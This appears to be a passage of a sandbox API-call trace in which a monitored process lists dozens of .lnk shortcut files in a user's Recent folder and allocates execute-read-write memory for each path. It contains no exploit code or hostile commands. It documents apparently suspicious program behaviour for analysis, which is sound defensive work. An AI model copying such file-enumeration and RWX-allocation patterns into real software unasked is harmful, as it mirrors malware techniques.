FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.838] lstrcmpW (lpString1="0EsxwfGpf (2).lnk", lpString2=".") returned 1 [0054.838] lstrcmpW (lpString1="0EsxwfGpf (2).lnk", lpString2="..") returned 1 [0054.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0EsxwfGpf (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk" [0054.838] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.838] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned 80 [0054.838] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned 80 [0054.838] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.838] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.838] lstrcmpW (lpString1="0EsxwfGpf.lnk", lpString2=".") returned 1 [0054.838] lstrcmpW (lpString1="0EsxwfGpf.lnk", lpString2="..") returned 1 [0054.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0EsxwfGpf.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk" [0054.838] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.839] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned 76 [0054.839] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned 76 [0054.839] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.839] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.839] lstrcmpW (lpString1="0fbVcV3Zv5.lnk", lpString2=".") returned 1 [0054.839] lstrcmpW (lpString1="0fbVcV3Zv5.lnk", lpString2="..") returned 1 [0054.839] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0fbVcV3Zv5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk" [0054.839] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.839] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned 77 [0054.839] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned 77 [0054.839] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.839] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.839] lstrcmpW (lpString1="0qcuk3G0.lnk", lpString2=".") returned 1 [0054.839] lstrcmpW (lpString1="0qcuk3G0.lnk", lpString2="..") returned 1 [0054.839] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0qcuk3G0.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk" [0054.839] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.839] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned 75 [0054.839] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned 75 [0054.839] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.839] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.839] lstrcmpW (lpString1="0RdiLe2R39_-D0kBjV.lnk", lpString2=".") returned 1 [0054.840] lstrcmpW (lpString1="0RdiLe2R39_-D0kBjV.lnk", lpString2="..") returned 1 [0054.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0RdiLe2R39_-D0kBjV.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk" [0054.840] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.840] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned 85 [0054.840] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned 85 [0054.840] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.840] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.840] lstrcmpW (lpString1="1 VB53.lnk", lpString2=".") returned 1 [0054.840] lstrcmpW (lpString1="1 VB53.lnk", lpString2="..") returned 1 [0054.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1 VB53.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk" [0054.840] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.840] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned 73 [0054.840] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned 73 [0054.840] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.840] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.840] lstrcmpW (lpString1="1C35.lnk", lpString2=".") returned 1 [0054.840] lstrcmpW (lpString1="1C35.lnk", lpString2="..") returned 1 [0054.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1C35.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk" [0054.840] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.840] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned 71 [0054.841] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned 71 [0054.841] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.841] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.841] lstrcmpW (lpString1="1K3-TZCPmibHkU6FTw.lnk", lpString2=".") returned 1 [0054.841] lstrcmpW (lpString1="1K3-TZCPmibHkU6FTw.lnk", lpString2="..") returned 1 [0054.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1K3-TZCPmibHkU6FTw.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk" [0054.841] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.841] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned 85 [0054.841] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned 85 [0054.841] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.841] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.841] lstrcmpW (lpString1="1rMkargVi.lnk", lpString2=".") returned 1 [0054.841] lstrcmpW (lpString1="1rMkargVi.lnk", lpString2="..") returned 1 [0054.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1rMkargVi.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk" [0054.841] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.841] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned 76 [0054.841] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned 76 [0054.841] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.841] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.841] lstrcmpW (lpString1="1WmQLmoja01-EP.lnk", lpString2=".") returned 1 [0054.841] lstrcmpW (lpString1="1WmQLmoja01-EP.lnk", lpString2="..") returned 1 [0054.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1WmQLmoja01-EP.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk" [0054.842] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.842] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned 81 [0054.842] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned 81 [0054.842] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.842] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.842] lstrcmpW (lpString1="210AtVavnZ- J.lnk", lpString2=".") returned 1 [0054.842] lstrcmpW (lpString1="210AtVavnZ- J.lnk", lpString2="..") returned 1 [0054.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="210AtVavnZ- J.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk" [0054.842] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.842] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned 80 [0054.842] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned 80 [0054.842] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.842] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.842] lstrcmpW (lpString1="22j3l8d5gwBlYb.lnk", lpString2=".") returned 1 [0054.842] lstrcmpW (lpString1="22j3l8d5gwBlYb.lnk", lpString2="..") returned 1 [0054.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="22j3l8d5gwBlYb.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk" [0054.842] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.842] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned 81 [0054.842] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned 81 [0054.842] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.843] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.843] lstrcmpW (lpString1="2eXJAztyYmvvQ.lnk", lpString2=".") returned 1 [0054.843] lstrcmpW (lpString1="2eXJAztyYmvvQ.lnk", lpString2="..") returned 1 [0054.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2eXJAztyYmvvQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk" [0054.843] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.843] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned 80 [0054.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned 80 [0054.843] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.843] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.843] lstrcmpW (lpString1="2OkDu2NHm-7zk1T.lnk", lpString2=".") returned 1 [0054.843] lstrcmpW (lpString1="2OkDu2NHm-7zk1T.lnk", lpString2="..") returned 1 [0054.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2OkDu2NHm-7zk1T.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk" [0054.843] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.843] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned 82 [0054.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned 82 [0054.843] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.843] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.843] lstrcmpW (lpString1="4a e.lnk", lpString2=".") returned 1 [0054.843] lstrcmpW (lpString1="4a e.lnk", lpString2="..") returned 1 [0054.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4a e.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk" [0054.843] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.844] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned 71 [0054.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned 71 [0054.844] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.844] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.844] lstrcmpW (lpString1="4nC7.lnk", lpString2=".") returned 1 [0054.844] lstrcmpW (lpString1="4nC7.lnk", lpString2="..") returned 1 [0054.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4nC7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk" [0054.844] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.844] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned 71 [0054.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned 71 [0054.844] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.844] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.844] lstrcmpW (lpString1="4o-7px (2).lnk", lpString2=".") returned 1 [0054.844] lstrcmpW (lpString1="4o-7px (2).lnk", lpString2="..") returned 1 [0054.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4o-7px (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk" [0054.844] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.845] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned 77 [0054.845] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned 77 [0054.845] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.845] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.845] lstrcmpW (lpString1="4o-7px.lnk", lpString2=".") returned 1 [0054.845] lstrcmpW (lpString1="4o-7px.lnk", lpString2="..") returned 1 [0054.845] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4o-7px.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk" [0054.845] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.845] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned 73 [0054.845] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned 73 [0054.845] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.845] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.845] lstrcmpW (lpString1="4wEn.lnk", lpString2=".") returned 1 [0054.845] lstrcmpW (lpString1="4wEn.lnk", lpString2="..") returned 1 [0054.845] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4wEn.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk" [0054.845] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.845] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned 71 [0054.845] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned 71 [0054.845] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.845] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.846] lstrcmpW (lpString1="5j6qWl.lnk", lpString2=".") returned 1 [0054.846] lstrcmpW (lpString1="5j6qWl.lnk", lpString2="..") returned 1 [0054.846] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5j6qWl.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk" [0054.846] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.846] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned 73 [0054.846] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned 73 [0054.846] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.846] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.846] lstrcmpW (lpString1="5NChLZgIqlXt.lnk", lpString2=".") returned 1 [0054.846] lstrcmpW (lpString1="5NChLZgIqlXt.lnk", lpString2="..") returned 1 [0054.846] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5NChLZgIqlXt.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk" [0054.846] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.846] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned 79 [0054.846] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned 79 [0054.846] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.846] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.846] lstrcmpW (lpString1="68I4YY.lnk", lpString2=".") returned 1 [0054.846] lstrcmpW (lpString1="68I4YY.lnk", lpString2="..") returned 1 [0054.846] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="68I4YY.lnk" | out: 